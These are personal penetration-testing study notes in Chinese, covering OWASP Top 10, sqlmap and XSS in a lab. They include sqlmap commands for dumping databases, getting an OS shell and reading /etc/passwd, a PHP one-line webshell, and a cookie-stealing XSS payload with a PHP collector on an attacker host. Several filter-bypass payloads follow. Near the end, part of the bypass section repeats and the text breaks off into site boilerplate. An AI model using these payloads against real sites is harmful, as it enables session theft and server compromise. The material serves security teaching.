3.3网安学习第三阶段第三周回顾(个人学习记录使用)

本周重点

①渗透测试介绍

②sqlmap注入扫描工具

③XSS脚本注入

本周主要内容

①渗透测试介绍

一、渗透测试

通过模拟黑客对系统进行攻击的手段或技术,在被测系统中发现漏洞的行为。除了提供漏洞之外,还需提供安全意见。

与黑站不同,渗透测试一般情况下,需要授权。

二、测试类型

1、黑盒测试:不能看到源码,只能通过系统页面进行的测试。

2、白盒测试:通过对源码的代码审计进行的测试。也叫玻璃盒测试。

3、灰盒测试:使用方法可以是黑盒,也可以是白盒。二者结合方式。(通过协议方式,可以理解为灰盒)

三、漏洞的生命周期

POC:Proof ofConcept

Exploit,中文意思是“漏洞利用”

CVE 的英文全称是“Common Vulnerabilities & Exposures”,就是通用漏洞披露,是全球统一的对信息安全漏洞或者已经暴露出来的弱点的公共名称

态势感知:实时监控流量业务,发现入侵行为。image-20231106153602815

1.0day - 1day

2.发掘->利用->传播->补丁->消亡

0day漏洞:又称零日漏洞,是指已经被攻击者发现并开始利用,但还没有被包括受影响软件厂商在内的公众所知的漏洞。

这类漏洞对攻击者来说有完全的信息优势,由于没有漏洞的对应的补丁或临时解决方案,防守方不知道如何防御,攻击者可以达成最大可能的威胁。0day漏洞通常被黑客以高价在黑市上出售,而攻击者则可以静悄悄地利用这些漏洞,直到相关合法机构意识到问题并发布相应的修补程序。由于0day漏洞从被发现到被利用的时间非常短,对于防守方来说,缺乏漏洞细节和具体信息,单纯依靠防火墙或杀毒软件等传统的防御手段难以实施有效检测。因此,阻止0day漏洞利用攻击,最重要的是升级网络防护体系,通过内存保护技术实现实时监控和主动防御。

四、渗透测试流程

image-20231106171154855

五、owasp top 10

**OWASP的全称是Open Web Application Security Project。**这是一个全球性的、非营利的开放式Web应用程序安全项目组织,旨在通过提高设计和开发过程中的安全性来防止Web应用受到黑客攻击。OWASP成立于2004年4月21日,总部位于美国,是一个国际组织,其基金会负责支持世界各地的活动。

(1)失效的访问控制:(cookies就可以被黑客利用,获取高级别的权限)

​ 通俗的说,就是越权。在未通过身份认证的情况下,对系统进行访问。获取与之身份不匹配的访问权限。

​ ①访问其他用户,获取敏感信息;

​ ②修改其他用户数据;

​ ③修改访问权限;

(2)加密机制失效:

​ 以前也叫敏感数据泄露。

​ ①数据采用明文传输。

​ ②用老旧的或者弱加密算法

​ ③未强制执行加密

​ ④不验证服务器证书

(3)注入:

​ 分为sql注入和xss注入:利用web页面上输入域语法校验漏洞,向系统中注入命令或者代码。

​ ①sql注入:将用户的输入内容通过字符串拼接的方式将系统中的sql命令变成另一个sql命令,从而获取数据(拖库)或者获取文件(get shell)。

​ ②xss注入:对用户输入的信息未过滤,将用户输入的代码注入到其他用户的浏览器上。窃取用户信息,伪装身份攻击。

​ ③代码注入:敏感函数中可以执行代码

​ ④命令注入:敏感函数中可以执行操作系统命令。

(4)不安全的设计

​ 2021版新增漏洞,就是指系统在设计上存在的问题。

​ ①弱验证:没有关闭万能验证码

​ ②使用了简单加密

​ ③隐藏的令牌信息

​ ④静态资源注入:上传

(5)安全配置错误

​ 服务器在系统设置中没有安全相关的软件配置或者安全设备设置。

​ ①对应用程序堆栈没有任何安全强化。 补充知识:https://zhuanlan.zhihu.com/p/588249684?utm_id=0

​ ②对云服务权限配置不正确。

​ ③启用了不必要的功能。

​ ④默认账户和密码处于启用状态或者未修改。

​ ⑤错误信息向用户显示。 die(“操作失败!”,mysqli_error($con))

​ ⑥对升级系统,最新安装安全功能被禁用。

​ ⑦服务器中安全设置没有达到安全值

​ ⑧软件过时。

(6)自带缺陷和过时组件;

​ 系统中带有过时组件(已经发现漏洞的组件)

​ ①不知道所使用组件的版本

​ ②不定期扫描组件,不关注官方公告

​ ③没有对组件基于风险而升级

​ ④不测试,不保护组件

(7)身份识别和身份验证错误

​ 攻击者利用用户身份登录系统。

​ ①允许重复多次登录尝试。 验证码 、 限制操作次数

​ ②允许用户使用弱密码。 123456

​ ③密码找回弱验证。

​ ④缺少或者无效的身份验证

​ ⑤在url中公开会话ID

​ ⑥身份失效时间问题。

(8)软件和数据的完整性保障

​ 这也是一个新增的类型,指的是在不验证完整性的情况下做出与软件更新、关键数据和CI/CD管道相关的假设。

​ ①固件更新没有签名

​ ②恶意更新

​ ③不安全的序列化

(9)安全日志和监控故障

​ 指的是在没有日志记录和监控,将无法检测到漏洞,此类故障会直接影响可见性、事件报警和取证。

​ ①不记录可审计的事件

​ ②警告和错误不生成报告,或者报告内容不清楚

​ ③不监控应用程序的可疑操作。

​ ④日志仅存储在本地

​ ⑤适当的报警阈值响应升级流程没有到位

​ ⑥渗透测试和扫描不报警

(10)服务器请求伪造 ssrf

​ 这一漏洞是在行业调查中添加的,数据显示发生概率较低。

​ ①通过url访问资源,获取敏感文件

​ ②通过url进行内网扫描(ip,端口)

②sqlmap注入扫描工具

一、工具安装

1、环境:

python2.7.5
建议安装在linux下:
python -V

image-20231110163113380

2、安装:

(1)将sqlmap.zip 上传放在/opt目录下:

(2)解压:

yum install unzip
unzip sqlmap.zip

(3)授权:

chmod u+x sqlmap.py

二、使用:

1、扫描:

(1) get请求:注意url中最好带上参数,比如id=1

./sqlmap.py -u "url" 

(2)拖库:

./sqlmap.py -u "url" --current-db     //获取数据库名
./sqlmap.py -u "url" -D 数据库名 --tables //获取表名
./sqlmap.py -u "url" -D 数据库名 -T 表名 --columns //获取所有字段名
./sqlmap.py -u "url" -D 数据库名 -T 表名 -C 字段1,字段2 --dump //获取字段中的值

(3)post请求:

  • 需要准备post请求文件:

通过burp拦截请求,copy to file.把请求文件保存下来,或者直接选中请求部分,复制也可以

image-20231110170904583

  • 拖库

需要注意:使用头注入参数X-Forwarded-For,这个参数需要放在请求头中,X-Forwarded-For: * ,否则无法注入成功

./sqlmap.py -r "文件名" -p 参数名     //指定参数的post请求扫描//实际使用案例,获取数据库名称,
./sqlmap.py -r ./postdata.txt -p "X-Forwarded-For" --current-db
//根据数据库名称获取表
./sqlmap.py -r ./postdata.txt -p "X-Forwarded-For" -D posts --tables

image-20240219093746071

image-20240219093819335

以下是postdata.txt 文件内容,注意最后有两个空行

GET /info.php?username=a HTTP/1.1
Host: 192.168.23.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: *
Connection: close

2、状态保持: --cookie

如果请求发送需要前置条件(登录)。可以通过手动登录后,获取已登录的sessionid.在sqlmap中,通过设置cookie方式,绕过登录:

get: 
./sqlmap.py -u "url" --cookie=xxxx
post:
./sqlmap.py -r "文件" -p 参数 --cookie=xxx//实际使用案例
./sqlmap.py -r ./postdata.txt -p "X-Forwarded-For" --cookie=PHPSESSID=k7ht96qm6n6hr34ghlpn4l3666 --current-db

3、getshell:

(1)自动写入木马:–os-shell

建议不使用post请求:

./sqlmap.py -u "http://192.168.32.129/sqlmaster/Less-1/?id=1" --os-shell

(2)读文件: --read-file

./sqlmap.py -u "http://192.168.32.129/sqlmaster/Less-1/?id=1" --file-read "/etc/passwd"

(3)写文件:–file-write 源文件 --file-dest 目标文件

//制作一个一句话木马
echo <?php eval($_POST['a']);?> > /tmp/secure21
//写入木马
./sqlmap.py -u "http://192.168.23.128/info.php?username=1" --file-write "/tmp/secure21" --file-dest "/opt/lampp/htdocs/muma21.php"

③XSS脚本注入

一、XSS概念

cross site scripting: 跨站攻击脚本,主要攻击发生在浏览器这一段,不会对服务器产生影响。

二、危害

1、挖矿

2、植入广告

3、盗取用户cookie:进一步可以窃取用户的资料

4、利用用户的机器,植入木马,进行DDOS攻击

三、Xss攻击的前提

1、页面需要有用户可输入的点

2、用户输入的内容需要回显在页面的某个部分

3、如果构造了一个连接,需要诱导目标用户去点击

四、Xss类型

1、反射型

(1)不修改DOM标签的

弹出一个alert

步骤:

先在靶机上修改list.php的代码,增加输入框和查询按钮

<?php$sk = @$_GET['sk'];session_start();include 'dbinfo.php';mysqli_set_charset($conn,"utf8");//查询数据库
$sql = "select * from tb_articles where title like '%$sk%'";
$result = mysqli_query($conn,$sql);echo "上一次查询关键字:".$sk;
?>
<div align="center">当前登录用户:<?php $s = @$_SESSION["loginuser"]; if($s=="ok"){echo $_SESSION["username"]; }else{echo "游客";}?>
<div><form><input type="text" name="sk"><input type="submit" name="submit" value="search"></form><table border="1" align=center><tr><td>Id</td><td>标题</td><td>创建时间</td><td>作者</td><td>操作</td></tr><?php  while($rows = mysqli_fetch_assoc($result)){?><tr><td><?=$rows['id']?></td><td> <a href="details.php?id=<?=$rows['id']?>"><?=$rows['title']?>  </a></td><td><?=$rows['createtime']?></td><td><?=$rows['author']?></td><td> <a href="delete.php?id=<?=$rows['id']?>">删除</a><a href="editarticle.php?id=<?=$rows['id']?>">修改</a></td></tr><?php }?>
</table><?php
//关闭数据库连接
mysqli_close($conn);?>

访问靶机的list.php,在查询框里输入:

<script>alert(1)</script>

点击search按钮,看到会弹出一个警告框,把上面的url复制下来

image-20240312174525348

在黑客机器上,创建一个html页面,girl01.html,自己准备一张美女图片,放在girl01.html相同目录中。

注意,这个html中href的跳转连接地址,就从上面图片的中浏览器的url地址栏复制过来。

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>美女图片</title>
</head>
<body><a href="http://192.168.75.128/hz02/posts/list.php?sk=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&submit=search"><img src="0.jpg" width="400px" height="300px">约吗!</a>
</body>
</html>

访问黑客机器上的girl01.html,看到如下页面

image-20240312174826277

鼠标点击“约吗”,网页会跳转到刚刚目标靶机的list.php页面,并且会弹出一个警告框

image-20240312174948383

盗取用户Cookie:

用户已经登录了目标系统,并且在没有关闭浏览器的情况下,用相同的浏览器打开了包含攻击脚本链接

先在黑客的服务器准备一个数据库表,保存受害者的cookie信息

CREATE TABLE `tb_cookie` (`id` int(11) NOT NULL AUTO_INCREMENT,`cookie` varchar(1000) DEFAULT NULL,`createtime` datetime DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP,`remoteip` varchar(255) DEFAULT NULL,PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

准备一个程序,收集受害者的cookie

<?php
//这段程序写在黑客的机器上,用来接收受害用户浏览器的cookie
$ucookie = @$_GET['ucookie'];
$refer = @$_SERVER['HTTP_REFERER'];$dbhost = "127.0.0.1";
$dbuser = "root";
$dbpass = "";
$dbname = "posts";
$dbport = 3306;//连接数据库
$conn = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);
//设置数据库连接的编码格式UTF8
mysqli_set_charset($conn,"utf8");$sql = "insert into tb_cookie(cookie,createtime,remoteip) values('$ucookie',now(),'$refer')";mysqli_query($conn,$sql);mysqli_close($conn);?>

构造一个url链接,可以是一个美女图片,也可以是文字。关键是用户对这个有兴趣,会点击这个连接;

<a href="http://192.168.6.128/hz02/posts/list.php?sk=<script>new Image().src='http://192.168.6.129/xss02/getcookies.php?ucookie='%2bdocument.cookie</script>&search=search">你的申请被拒绝</a>

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

另外还可以把getcookies.js放在黑客服务器上

//这个js文件放在黑客服务器上
new Image().src='http://192.168.6.129/xss02/getcookies.php?ucookie='+document.cookie;

那么html的url连接就是

<a href="http://192.168.6.128/hz02/posts/list.php?sk=<script src='http://192.168.6.129/xss02/getcookies.js'></script>&search=search">点一下?</a>   

(2)修改DOM标签的

php的代码:

<?php
$sk = @$_GET['sk'];
?><!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body>aaaa<!-- <input type="text" id="username" name="username" value=""><script>alert(1)</script><span alt=""> -->
<form>显示:<input type="text" id="username" name="username" value="<?=$sk?>"><br>输入:<input type="text" name="sk" id="sk"  ><br><input type="submit" value="search"></form></body>
</html>

在页面的输入框中直接输入

"><script>alert(1)</script><span alt="

点击search按钮,页面弹出警告框

image-20240313121915822

2、存储型

登录靶场,到发帖子页面,内容输入,点击添加按钮保存

<script>alert(1)</script>

image-20240313141509686

保存成功,返回list.php页面,

image-20240313141624369

点击“admin测试xxx”,跳转到详情页面,弹出了警告框

image-20240313141733933

再发一个帖子,包含盗取cookie的xss攻击脚本

帖子的内容是:

<script  src="http://192.168.12.129/xss02/getcookies.js"></script>
你能把我怎么样啊?我现在偷了你的cookie,哈哈哈哈

发帖成功后,保存到靶机数据库的帖子内容

image-20240313142804828

任何用户来访问帖子

image-20240313142833230

只要点击了这个有xss攻击脚本的帖子,就会被盗取cookie

image-20240313142930202

可以看到,cookie被发送给黑客,并保存到黑客数据库

image-20240313143006867

五、XSS闯关靶场

在靶机上,安装xss闯关靶场

1、创建一个目录

mkdir -p /opt/lampp/htdocs/xsscg

2、把靶场中的文件直接上传到目录/opt/lampp/htdocs/xsscg

3、如果没有zip 和 unzip就安装一下

yum -y install zip unzip

4、解压缩靶场文件

cd /opt/lampp/htdocs/xsscg
unzip xsscg.zip

5、访问一下靶场(IP地址改成自己的)

http://192.168.75.129/xsscg/xss/

image-20240312175945618

六、安装DVWA靶场

1、把DVWA-master.zip 上传到/opt/lampp/htdocs

2、解压缩:

unzip DVWA-master.zip

3、修改目录名称

mv DVWA-master dvwa

4、修改配置文件

cd dvwa/config
cp config.inc.php.dist config.inc.php

5、访问dvwa,页面上显示为红色No的项目要修改一下,变成绿色即可。

http://192.168.12.128/dvwa/

image-20240313144317593

根据要求,修改配置

chmod 777 /opt/lampp/htdocs/dvwa/hackable/uploads/

改好之后,刷新网页,可以看到已经是Yes

image-20240313144638489

继续修改:

chmod 777  /opt/lampp/htdocs/dvwa/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt

修改完再次刷新页面

image-20240313144804423

继续修改

chmod 777 /opt/lampp/htdocs/dvwa/config

image-20240313144909866

如果这两个参数的值都是On就不需要下面的操作,否则

allow_url_fopen = On
allow_url_include = On

image-20240313145108322

如果allow_url_fopen和allow_url_include任何一个不是On,就修改php.ini

 vi /opt/lampp/etc/php.ini

把最前面的分号去掉,并把值修改为On

image-20240313145345628

保存修改后,重启apache

/opt/lampp/xampp restart

看到两个参数的值都是On,就可以了

image-20240313145527752

修改数据库配置

vi /opt/lampp/htdocs/dvwa/config/config.inc.php

根据自己的实际情况修改数据库的用户名和密码,改好保存一下

image-20240313145915894

刷新一下页面,看到数据的用户名和密码已经修改

image-20240313150025753

点击页面底部的create/reset database

image-20240313150236377

创建成功,应该看到

image-20240313150329096

七、BlusLotus工具

1、下载地址,需要注册github账号(前提:需要能上国外的网站)

https://github.com/firesunCN/BlueLotus_XSSReceiver?tab=readme-ov-file

2、把压缩文件上传到攻击机器的/opt/lampp/htdocs目录

image-20240223120815517

3、解压缩

cd /opt/lampp/htdocs
unzip BlueLotus_XSSReceiver-master.zip

4、修改文件夹名称

mv BlueLotus_XSSReceiver-master bluelotus

5、修改目录的权限

chmod -R 777 bluelotus

6、访问主页(ip自己修改)

http://192.168.12.129/bluelotus

image-20240313153927107

点击“安装”按钮。

image-20240313154201621

点击“提交”按钮

image-20240313154311039

点击“登录”按钮

image-20240313154342298密码是bluelotus

登录成功,看到如下页面

image-20240313154414674

添加一个模板

image-20240313154722011

选择default.js,点击插入模板

image-20240313154753036

添加一个js文件

image-20240313155112119

添加的js会出现在左侧

image-20240313155154458

点击生成Payload按钮,左侧会生成一段javascript的xss攻击脚本

image-20240313155335968

把左边的脚本内容复制,发到帖子内容里

image-20240313155523584发帖成功,查看一下

image-20240313155549908

当受害者点击这个帖子的标题,查看内容的时候

image-20240313155728832

用鼠标点击右下角的提示,看到有一条记录产生了

image-20240313155810639

查看这条记录,能看到cookie已经被发过来了

image-20240313160415814

八、安装pikachu靶场

1、上传靶场压缩文件到/opt/lampp/htdocs

image-20240314092729802

2、解压缩

unzip pikachu-master.zip

3、改目录名称

mv pikachu-master pikachu

4、修改数据库配置文件

cd pikachu
cd inc
vi config.inc.php

把数据库的用户名,密码根据自己的实际情况修改

image-20240314093141618

修改后,保存

5、重新启动xampp环境

/opt/lampp/xampp restart

6、访问http://192.168.196.128/pikachu/

image-20240314093601965

点击红色字体,进行数据库的初始化

image-20240314093642972

点击“安装/初始化”按钮

看到这个页面说明初始化成功

image-20240314093719339

九、Xss防御

1、使用htmlspecialchars转义函数,把html中字符转码

可以把

单引号,双引号,左尖括号,右尖括号,& 转义成实体字符

为什么要转码?

如果不转码,象< > 在实际的内容中,会在浏览器解析的时候,影响正常的解析,会让浏览器认为是html的标签,

以下网页,在内容中有aaaa<ht,会影响后面的内容展示,所以需要把<转义成 &lt;

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body>aaaa<ht<!-- <input type="text" id="username" name="username" value=""><script>alert(1)</script><span alt=""> -->
<form>输入:<input type="text" name="sk" id="sk"  ><br><input type="submit" value="sea<rch"><br>
<div> aaas   </html>  </div></form>
</body>
</html>

2、可以使用str_ireplace把一些关键性的字符串替换掉

$sk=str_ireplace('script',"",$sk);
$sk=str_ireplace('href',"",$sk);
$sk=str_ireplace('click',"",$sk);
...........

十、Xss绕过

1、双写绕过

原因:在替换关键字的时候,把关键字替换成了"",

$sk=str_ireplace('script',"",$sk);

可以通过双写script绕过替换

<scriscriptpt>alert(1)</sscriptcript>

2、大小写绕过

原因:在替换的时候没有考虑到大小写敏感的问题

$sk=str_replace('script',"",$sk);

可以通过把单词中的任意字符换成大写绕过

<sCript>alert(1)</sCript>

3、空格绕过

有写程序员会把空格替换掉,破坏html标签的解析规则

$sk=str_replace(" ","",$sk);
此时
<a href="xxxx">点击连接</a> 会被替换成<ahref="xxxx">点击连接</a>,语法会出错

那么可以通过下面的方法绕过

<a/**/href='javascript:alert(1);'>xss漏洞</a>

4、base64编码绕过

有些情况下,没有转义特殊字符,只做了一些关键字的替换,例如把script替换成“ ”,或者scri_pt,那可以考虑使用base64编码方式来绕过,有的浏览器,比如Chrome的高版本,会阻止a标签中的base64编码的执行,可以换其他浏览器试试。

//在帖子内容当中放入如下内容,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==其实就是<script>alert(1)</script>的base64编码形式
payload:
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">aaaaaa</a>

5、url两次编码

程序

员手工进行一次urldecode操作,程序中没有对< > 等字符特殊过滤,可以进行两次url编码绕过

原始的输入:
"><a href="javascript:alert(1)">aaaa</a> <span b="payload:
经过第一次url编码:
%22%3e%3c%61%20%68%72%65%66%3d%22%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%31%29%22%3e%61%61%61%61%3c%2f%61%3e%20%3c%73%70%61%6e%20%62%3d%22
把上面这些经过编码的内容再一次进行url编码
%25%32%32%25%33%65%25%33%63%25%36%31%25%32%30%25%36%38%25%37%32%25%36%35%25%36%36%25%33%64%25%32%32%25%36%61%25%36%31%25%37%36%25%36%31%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%61%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%33%31%25%32%39%25%32%32%25%33%65%25%36%31%25%36%31%25%36%31%25%36%31%25%33%63%25%32%66%25%36%31%25%33%65%25%32%30%25%33%63%25%37%33%25%37%30%25%36%31%25%36%65%25%32%30%25%36%32%25%33%64%25%32%32注意:经过两次编码的内容不能直接在浏览器上跟在sk的参数后面,也不能在form表单中提交,因为浏览器会自动的把%再次编码,导致错误。可以使用burp拦截,直接把请求参数改成以上经过两次url编码的内容。

代码:

<?php $sk = @$_GET['sk'];
echo $sk;
//此时打印
echo "<br>";$sk = str_ireplace("script","scr_ipt",$sk);
echo $sk;
echo "<br>";
$sk = urldecode($sk);//程序员很小心,手工进行urldecode
echo $sk;
//此时打印
echo "<br>";?><!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><form>显示:<input type="text" value="<?=$sk?>" maxlength="1000"><br>输入:<input type="text" name="sk" id="sk"><br><input type="submit" value="search">
</form>
</body>
</html>

6、html实体编码绕过

当程序去替换一些关键字例如:onclick,javascript,onblur,可以进行HTML转码绕过

html转码工具:

https://www.toolzl.com/tools/htmlende.html

原始的输入:
javascript:alert(1) 这个会被改为javascr_ipt:alert(1)无法执行
经过html转码后
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
输入即可绕过

代码:

<?php $sk = @$_GET['sk'];
$sk = str_ireplace("script","scr_ipt",$sk);?><!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><form><!-- dddd --><a id="a" href="<?=$sk?>">友情链接</a><!-- 显示:<input type="text" value="<?=$sk?>" maxlength="1000"> --><br>输入:<input type="text" name="sk" id="sk"><br><input type="submit" value="search">
</form>
</body>
</html>

十一、XSStrike工具

下载地址:https://gitee.com/mirrors/XSStrike

需要先安装python3才可以运行

下载后,直接解压缩即可使用。

使用工具扫描XSS

" id=“sk”>

<br>
<input type="submit" value="search">
```

6、html实体编码绕过

当程序去替换一些关键字例如:onclick,javascript,onblur,可以进行HTML转码绕过

html转码工具:

https://www.toolzl.com/tools/htmlende.html

原始的输入:
javascript:alert(1) 这个会被改为javascr_ipt:alert(1)无法执行
经过html转码后
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
输入即可绕过

代码:

<?php $sk = @$_GET['sk'];
$sk = str_ireplace("script","scr_ipt",$sk);?><!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><form><!-- dddd --><a id="a" href="<?=$sk?>">友情链接</a><!-- 显示:<input type="text" value="<?=$sk?>" maxlength="1000"> --><br>输入:<input type="text" name="sk" id="sk"><br><input type="submit" value="search">
</form>
</body>
</html>

十一、XSStrike工具

下载地址:https://gitee.com/mirrors/XSStrike

需要先安装python3才可以运行

下载后,直接解压缩即可使用。

使用工具扫描XSS

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/557481.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python --- 练习题3

目录 1、猜数字游戏&#xff08;使用random模块完成&#xff09; &#xff1a;继上期题目&#xff0c;附加 2、用户登录注册案例 3、求50~150之间的质数是那些&#xff1f; 4、打印输出标准水仙花数&#xff0c;输出这些水仙花数 5、验证:任意一个大于9的整数减去它的各位…

UE4 面试题整理

1、new与malloc的区别 new&#xff1a; new首先会去调用operator new函数&#xff0c;申请足够的内存&#xff08;大多数底层用malloc实现&#xff09;&#xff0c;然后调用类型的构造函数来初始化变量&#xff0c;最后返回自定义类型的指针&#xff0c;delete先调用析构函数&…

java内存分析工具visualvm

java内存分析工具visualvm 下载地址:https://visualvm.github.io/

位运算第三弹

力扣268.丢失的数字 public static int missingNumber(int[] nums) {int nnums.length;int []retnew int[n1];for(int i1;i<n;i){ret[nums[i-1]];}for(int i0;i<n;i){if(ret[i]0){return i;}}return 0;} 和上一道题&#xff0c;一个性质&#xff0c;用的是底层哈希表的思…

考研数学基础和强化阶段分别怎么做?如何衔接?

大家25年的考研复习策略要做适当的调整 因为根据24年大家考完的反馈&#xff0c;试卷的风格有所改变&#xff0c;总结来说就是&#xff1a; 深挖基础&#xff0c;计算量大&#xff0c;反押题 很多同学都反映&#xff0c;平时做的模拟题&#xff0c;做的练习题感觉都没用&…

各位老板,你需要的工厂数字孪生可视化库在这

各位老板是不是很喜欢下面这种有逼格的大屏,下面介绍一下怎么实现的,保证有所收获。 Cesium是一个开源的WebGL JavaScript库&#xff0c;用于创建高性能的三维地球、地图和虚拟环境。它支持在浏览器中实现高质量的地球模拟&#xff0c;同时提供了丰富的功能特点&#xff0c;使得…

基于Spring Boot+Vue的高校学科竞赛平台

末尾获取源码作者介绍&#xff1a;大家好&#xff0c;我是墨韵&#xff0c;本人4年开发经验&#xff0c;专注定制项目开发 更多项目&#xff1a;CSDN主页YAML墨韵 学如逆水行舟&#xff0c;不进则退。学习如赶路&#xff0c;不能慢一步。 目录 一、项目简介 二、开发技术与环…

无人机/飞控--ArduPilot、PX4学习记录(2)

这是一篇碎碎念&#xff0c;零零碎碎的记录了环境配置过程&#xff0c;仅供本人记录学习历程和参考。(记录的挺乱的&#xff0c;但是文章链接里的博客写的是真好) 本章主要完成的目标&#xff1a; 安装PX4 并 成功运行出3D无人机界面。 参考文章&#xff1a; 搭建PX4环境&…

vm-workstation win10 网络的设置

设置宿主机网络&#xff08;win10&#xff09; 1&#xff0c;在 win10宿主机上为虚拟机设置192.168.6.0/24 的网段 VM-workstation 网络设置 2&#xff0c;vm-workstation 软件设置

Vue响应式原理全解析

前言 大家好&#xff0c;我是程序员蒿里行。浅浅记录一下面试中的高频问题&#xff0c;请你谈一下Vue响应式原理。 必备前置知识&#xff0c;​​Vue2​​官方文档中​​深入响应式原理​​​及​​Vue3​​官方文档中​​深入响应式系统​​。 什么是响应式 响应式本质是当…

python(django)之产品后台管理功能实现

1、添加新项目 在命令行输入以下代码 python manage.py startapp prroduct 2、添加路径和代码结构 在新项目目录下admin.py中加入以代码 from .models import Product class ProductAdmin(admin.ModelAdmin):list_display [product_name, product_desc,producter,created_…

用python的pandas读取excel文件中的数据

一、读取Excel文件 使用pandas的read_excel()方法&#xff0c;可通过文件路径直接读取。注意到&#xff0c;在一个excel文件中有多个sheet&#xff0c;因此&#xff0c;对excel文件的读取实际上是读取指定文件、并同时指定sheet下的数据。可以一次读取一个sheet&#xff0c;也可…